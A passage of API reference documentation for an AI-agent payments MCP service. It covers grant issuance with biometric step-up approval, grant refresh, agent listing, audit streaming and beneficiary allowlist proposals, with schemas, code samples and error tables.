"type": "array",
"items": {
"type": "string",
"enum": [
"accounts:read",
"agents:read",
"payments:initiate",
"payments:simulate",
"cards:manage",
"agent:budget:create",
"agent:budget:revoke",
"beneficiary:read",
"beneficiary:write",
"kyc:start",
"x402:pay",
"x402:receive",
"audit:stream",
"treasury:rotate-signer",
"treasury:yield-allocate"
]
}
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"grant_id",
"bearer_token",
"expires_at",
"scope",
"policy_version"
],
"additionalProperties": false
}
```
## Request examples
This tool always requires a two-call pattern. The first call (without `step_up_sigil`) returns `-32003` with a `step_up_url`. After the principal completes biometric approval, the second call supplies the redeemed `step_up_sigil` and receives the new grant.
```bash curl theme={null}
# Step 1 — trigger step-up (no sigil)
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.grant.issue",
"params": {
"scope": ["accounts:read", "payments:initiate"],
"ttl_seconds": 3600
}
}'
# → error -32003 with step_up_url + sigil in data
# Redirect principal to step_up_url, collect the redeemed sigil
# Step 2 — supply redeemed sigil
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "agent.grant.issue",
"params": {
"scope": ["accounts:read", "payments:initiate"],
"ttl_seconds": 3600,
"step_up_sigil": "su_01HWXYZ_abc123def456"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Step 1 — initiate step-up
let stepUpUrl: string;
let sigil: string;
try {
await client.call('agent.grant.issue', {
scope: ['accounts:read', 'payments:initiate'],
ttl_seconds: 3600,
});
} catch (err: any) {
if (err.code === -32003) {
// Redirect the principal to complete biometric approval
stepUpUrl = err.data.step_up_url;
console.log(`Redirect principal to: ${stepUpUrl}`);
// ... wait for principal to complete step-up and return sigil ...
sigil = await waitForSigil(stepUpUrl);
} else {
throw err;
}
}
// Step 2 — supply redeemed sigil
const grant = await client.call('agent.grant.issue', {
scope: ['accounts:read', 'payments:initiate'],
ttl_seconds: 3600,
step_up_sigil: sigil,
});
console.log(`New grant: ${grant.grant_id}, expires: ${grant.expires_at}`);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
# Step 1 — initiate step-up
try:
client.call("agent.grant.issue", {
"scope": ["accounts:read", "payments:initiate"],
"ttl_seconds": 3600,
})
except client.McpError as err:
if err.code == -32003:
# Redirect the principal to complete biometric approval
step_up_url = err.data["step_up_url"]
print(f"Redirect principal to: {step_up_url}")
# ... wait for principal to complete step-up and return sigil ...
sigil = wait_for_sigil(step_up_url)
else:
raise
# Step 2 — supply redeemed sigil
grant = client.call("agent.grant.issue", {
"scope": ["accounts:read", "payments:initiate"],
"ttl_seconds": 3600,
"step_up_sigil": sigil,
})
print(f"New grant: {grant['grant_id']}, expires: {grant['expires_at']}")
```
## Response examples
Step 1 — step-up required (first call without sigil always returns this):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "issuing a new grant requires principal biometric approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up?token=eyJhbGciOiJIUzI1NiJ9.eyJyZWFzb24iOiJncmFudF9pc3N1ZSJ9.sig"
}
}
}
```
Step 2 — successful grant issuance (with valid sigil):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"grant_id": "f7a8b9c0-d1e2-3456-f012-456789012345",
"bearer_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkNGU1ZjZhNyIsInNjb3BlIjpbImFjY291bnRzOnJlYWQiLCJwYXltZW50czppbml0aWF0ZSJdfQ.signature",
"expires_at": "2026-05-04T13:00:00Z",
"scope": ["accounts:read", "payments:initiate"],
"policy_version": 3
}
}
```
Error — attempted scope escalation (requesting scope not in current grant):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "requested scope 'treasury:yield-allocate' not in current grant; cannot self-escalate",
"data": {
"reason_id": "scope_escalation"
}
}
}
```
Error — sigil already redeemed or expired:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"error": {
"code": -32602,
"message": "step-up sigil was not valid, already redeemed, expired, or minted for a different reason",
"data": {
"reason_id": "step_up_sigil_invalid"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ---------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Requested scope not present in current grant (scope escalation); `ttl_seconds` exceeds 3600; invalid sigil | Validate params; use step-up to acquire broader scope if needed |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `agent:budget:create` scope | Issue new grant with `agent:budget:create` scope |
| `-32003` | Step-up required | First call without `step_up_sigil`; payload includes `step_up_url` | Redirect principal to `step_up_url`, then retry with the returned sigil |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Step-up flow
`agent.grant.issue` unconditionally requires principal biometric approval. Every call without a valid `step_up_sigil` returns `-32003`. Here is the full two-call sequence:
**Call 1 — trigger step-up**
Send the request without `step_up_sigil`. The server mints a step-up session and returns `-32003` with `data.step_up_url`.
**Redirect principal**
Open or redirect the principal's browser to `step_up_url`. Glide's step-up sheet prompts the principal to approve the scope + TTL using their registered Privy passkey or biometric. On approval the sheet redirects back to your `redirect_uri` with a `sigil` query parameter.
**Call 2 — supply the redeemed sigil**
Repeat the exact same call (same `scope`, same `ttl_seconds`) and include `step_up_sigil` from the redirect callback. The sigil is single-use; replaying it, or using a sigil minted for a different reason (e.g., `rotate_signer`), returns `-32602 step_up_sigil_invalid`.
For more detail on the step-up redirect flow, session lifecycle, and sigil expiry, see [Step-up authentication](/docs/agents/step-up).
## Auth
Caller's grant must include the `agent:budget:create` scope. Grants whose scope set is a superset of the required scope are accepted.
# agent.grant.refresh
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-grant-refresh
Re-issue this agent's grant under the current policy version when the new policy is unchanged-or-narrowed vs the issue-time version. No step-up required (refres
Re-issue this agent's grant under the current policy version when the new policy is unchanged-or-narrowed vs the issue-time version. No step-up required (refresh is definitionally non-escalating). Throws InvalidParamsError if the new policy expands authority — caller must use agent.grant.issue with step-up to acquire the broader scope.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.grant.refresh` |
| Category | `treasury` |
| Required scope | `agent:budget:create` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | -------------------------- |
| Title | Refresh Grant (no step-up) |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"grant_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"bearer_token": {
"type": "string",
"minLength": 1
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"scope": {
"type": "array",
"items": {
"type": "string",
"enum": [
"accounts:read",
"agents:read",
"payments:initiate",
"payments:simulate",
"cards:manage",
"agent:budget:create",
"agent:budget:revoke",
"beneficiary:read",
"beneficiary:write",
"kyc:start",
"x402:pay",
"x402:receive",
"audit:stream",
"treasury:rotate-signer",
"treasury:yield-allocate"
]
}
},
"old_policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"new_policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"policy_changed": {
"type": "boolean"
}
},
"required": [
"grant_id",
"bearer_token",
"expires_at",
"scope",
"old_policy_version",
"new_policy_version",
"policy_changed"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.grant.refresh",
"params": {}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Refresh the current grant — re-issues under latest policy if unchanged or narrowed
const result = await client.call('agent.grant.refresh', {});
if (result.policy_changed) {
console.log(
`Policy narrowed from v${result.old_policy_version} to v${result.new_policy_version}`
);
}
// Use the new bearer token for subsequent calls
console.log(`New grant: ${result.grant_id}, expires: ${result.expires_at}`);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("agent.grant.refresh", {})
if result["policy_changed"]:
print(
f"Policy narrowed from v{result['old_policy_version']} "
f"to v{result['new_policy_version']}"
)
print(f"New grant: {result['grant_id']}, expires: {result['expires_at']}")
```
## Response examples
Successful response — policy unchanged (pure TTL extension):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"grant_id": "g8h9i0j1-k2l3-4567-m012-567890123456",
"bearer_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkNGU1ZjZhNyIsInNjb3BlIjpbImFjY291bnRzOnJlYWQiLCJwYXltZW50czppbml0aWF0ZSJdfQ.newsignature",
"expires_at": "2026-05-04T13:30:00Z",
"scope": ["accounts:read", "payments:initiate"],
"old_policy_version": 3,
"new_policy_version": 3,
"policy_changed": false
}
}
```
Successful response — policy narrowed (scope reduced by org admin):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"grant_id": "h9i0j1k2-l3m4-5678-n123-678901234567",
"bearer_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkNGU1ZjZhNyIsInNjb3BlIjpbImFjY291bnRzOnJlYWQiXX0.newsignature",
"expires_at": "2026-05-04T13:30:00Z",
"scope": ["accounts:read"],
"old_policy_version": 3,
"new_policy_version": 4,
"policy_changed": true
}
}
```
Error — new policy expands authority (caller must use `agent.grant.issue` with step-up):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "new policy version 5 expands authority (daily_limit increased from 5000 to 10000); use agent.grant.issue with step-up",
"data": {
"reason_id": "policy_broadened_requires_step_up"
}
}
}
```
Error — policy envelope missing for vault (data integrity issue):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "policy version 3 on vault a1b2c3d4-e5f6-7890-abcd-ef1234567890 is not on file; agent.grant.refresh cannot validate narrowing without it",
"data": {
"reason_id": "old_envelope_missing"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | New policy expands authority vs issue-time version; policy envelope missing or fails schema validation | Use `agent.grant.issue` with step-up to acquire broader scope; contact support if envelope missing |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Issue a new grant via `agent.grant.issue` (step-up required) |
| `-32002` | Insufficient scope | Grant missing `agent:budget:create` scope | Issue new grant with `agent:budget:create` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `agent:budget:create` scope. Grants whose scope set is a superset of the required scope are accepted.
# agents.list
Source: https://glide-9da73dea.mintlify.app/agents/api/agents-list
List sibling agents under the same principal/entity. Useful for cross-agent UIs; doesn't expose another agent's envelope policy.
List sibling agents under the same principal/entity. Useful for cross-agent UIs; doesn't expose another agent's envelope policy.
## Metadata
| Field | Value |
| ------------------------ | ------------- |
| Name | `agents.list` |
| Category | `read` |
| Required scope | `agents:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ----------- |
| Title | List Agents |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"include_revoked": {
"default": false,
"type": "boolean"
}
},
"required": [
"include_revoked"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agents": {
"type": "array",
"items": {
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"display_name": {
"type": "string"
},
"purpose": {
"type": "string"
},
"status": {
"type": "string",
"enum": [
"draft",
"active",
"throttled",
"revoked",
"expired"
]
},
"created_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"is_self": {
"type": "boolean"
}
},
"required": [
"agent_principal_id",
"display_name",
"purpose",
"status",
"created_at",
"is_self"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"agents",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agents.list",
"params": {
"include_revoked": false
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('agents.list', {
include_revoked: false,
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("agents.list", {
"include_revoked": False,
})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agents": [
{
"agent_principal_id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
"display_name": "Payroll Disbursement Agent",
"purpose": "Weekly payroll runs for Acme Corp employees",
"status": "active",
"created_at": "2026-04-01T09:00:00Z",
"is_self": false
},
{
"agent_principal_id": "d4e5f6a7-b8c9-0123-def0-234567890123",
"display_name": "Supplier Payment Agent",
"purpose": "Automated AP payments under $5,000 per transaction",
"status": "active",
"created_at": "2026-04-15T14:30:00Z",
"is_self": true
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
Error — grant missing required scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "grant does not include agents:read scope",
"data": {
"reason_id": "insufficient_scope"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ---------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `include_revoked` is not a boolean | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `agents:read` scope | Issue new grant with `agents:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `agents:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# audit.stream
Source: https://glide-9da73dea.mintlify.app/agents/api/audit-stream
Mint a cursor for subscribing to this agent's event stream over SSE. The cursor is bound to the current grant — when the grant expires or is revoked, the SSE co
Mint a cursor for subscribing to this agent's event stream over SSE. The cursor is bound to the current grant — when the grant expires or is revoked, the SSE connection closes.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `audit.stream` |
| Category | `read` |
| Required scope | `audit:stream` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------------- |
| Title | Subscribe to Audit Stream |
| Read-only | yes |
| Destructive | no |
| Idempotent | no |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"from_iso": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"sse_url": {
"type": "string",
"format": "uri"
},
"cursor": {
"type": "string",
"minLength": 1
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"heartbeat_seconds": {
"type": "integer",
"exclusiveMinimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"sse_url",
"cursor",
"expires_at",
"heartbeat_seconds"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "audit.stream",
"params": {
"from_iso": "2026-05-04T00:00:00Z"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Mint an SSE cursor starting from midnight today
const result = await client.call('audit.stream', {
from_iso: '2026-05-04T00:00:00Z',
});
// Open the SSE stream
const eventSource = new EventSource(result.sse_url);
eventSource.onmessage = (e) => console.log(JSON.parse(e.data));
console.log(`Cursor expires at: ${result.expires_at}`);
```
```python Python theme={null}
from glide_client import GlideClient
import os
import sseclient
import requests
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("audit.stream", {
"from_iso": "2026-05-04T00:00:00Z",
})
# Open the SSE stream
response = requests.get(result["sse_url"], stream=True)
sse = sseclient.SSEClient(response)
for event in sse.events():
print(event.data)
```
## Response examples
Successful response — returns an SSE cursor URL:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"sse_url": "https://mcp.glide.co/sse/audit?cursor=eyJhbGciOiJIUzI1NiJ9.eyJhZ2VudCI6ImQ0ZTVmNmE3In0.sig",
"cursor": "eyJhbGciOiJIUzI1NiJ9.eyJhZ2VudCI6ImQ0ZTVmNmE3In0.sig",
"expires_at": "2026-05-04T13:00:00Z",
"heartbeat_seconds": 30
}
}
```
Error — missing `audit:stream` scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "grant does not include audit:stream scope",
"data": {
"reason_id": "insufficient_scope"
}
}
}
```
Error — `from_iso` is not a valid ISO 8601 datetime:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "from_iso does not match expected datetime format",
"data": {
"reason_id": "invalid_date_format"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ----------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `from_iso` is not a valid UTC ISO 8601 datetime | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `audit:stream` scope | Issue new grant with `audit:stream` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `audit:stream` scope. Grants whose scope set is a superset of the required scope are accepted.
# beneficiary.add
Source: https://glide-9da73dea.mintlify.app/agents/api/beneficiary-add
Propose adding a counterparty to the agent's envelope allowlist. Per the multisig allowlist gate, allowlist mutations are multisig-proposal based — this tool en
Propose adding a counterparty to the agent's envelope allowlist. Per the multisig allowlist gate, allowlist mutations are multisig-proposal based — this tool enqueues the proposal; the principal approves via the web dashboard.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `beneficiary.add` |
| Category | `write` |
| Required scope | `beneficiary:write` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Propose Beneficiary |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"label": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"justification": {
"type": "string",
"minLength": 1,
"maxLength": 500
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"counterparty",
"label",
"justification",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"proposal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"status": {
"type": "string",
"enum": [
"pending_principal_approval",
"auto_approved"
]
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"proposal_id",
"status",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `beneficiary:write` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "beneficiary.add",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"label": "Acme Supplier — Base USDC",
"justification": "Regular monthly SaaS invoice payments to Acme Corp per contract #2026-Q2-017",
"idempotency_key": "acme-supplier-base-usdc-allowlist-20260504"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('beneficiary.add', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
label: 'Acme Supplier — Base USDC',
justification: 'Regular monthly SaaS invoice payments to Acme Corp per contract #2026-Q2-017',
idempotency_key: 'acme-supplier-base-usdc-allowlist-20260504',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("beneficiary.add", {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"label": "Acme Supplier — Base USDC",
"justification": "Regular monthly SaaS invoice payments to Acme Corp per contract #2026-Q2-017",
"idempotency_key": "acme-supplier-base-usdc-allowlist-20260504",
})
print(result)
```
## Response examples
Success — proposal enqueued for principal approval:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"proposal_id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
"status": "pending_principal_approval",
"enqueued_at": "2026-05-04T09:15:00Z"
}
}
```
Auto-approved (policy permits the counterparty without human sign-off):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"proposal_id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
"status": "auto_approved",
"enqueued_at": "2026-05-04T09:15:00Z"
}
}
```
Missing scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant does not include scope beneficiary:write",
"data": { "reason_id": "insufficient_scope" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `counterparty.chain` not in enum, address empty, or `idempotency_key` too short | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `beneficiary:write` scope | Issue a new grant with the required scope |
| `-32004` | Rate limited | Too many proposals in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32603` | Internal error | Proposal write failed | Retry with the same `idempotency_key`; the response will be idempotent |
# cards.freeze
Source: https://glide-9da73dea.mintlify.app/agents/api/cards-freeze
Freeze a previously issued card. The card will reject subsequent authorizations until unfrozen (unfreeze tool ships in v1.1).
Freeze a previously issued card. The card will reject subsequent authorizations until unfrozen (unfreeze tool ships in v1.1).
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `cards.freeze` |
| Category | `write` |
| Required scope | `cards:manage` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ----------- |
| Title | Freeze Card |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"reason": {
"default": "user_request",
"type": "string",
"enum": [
"user_request",
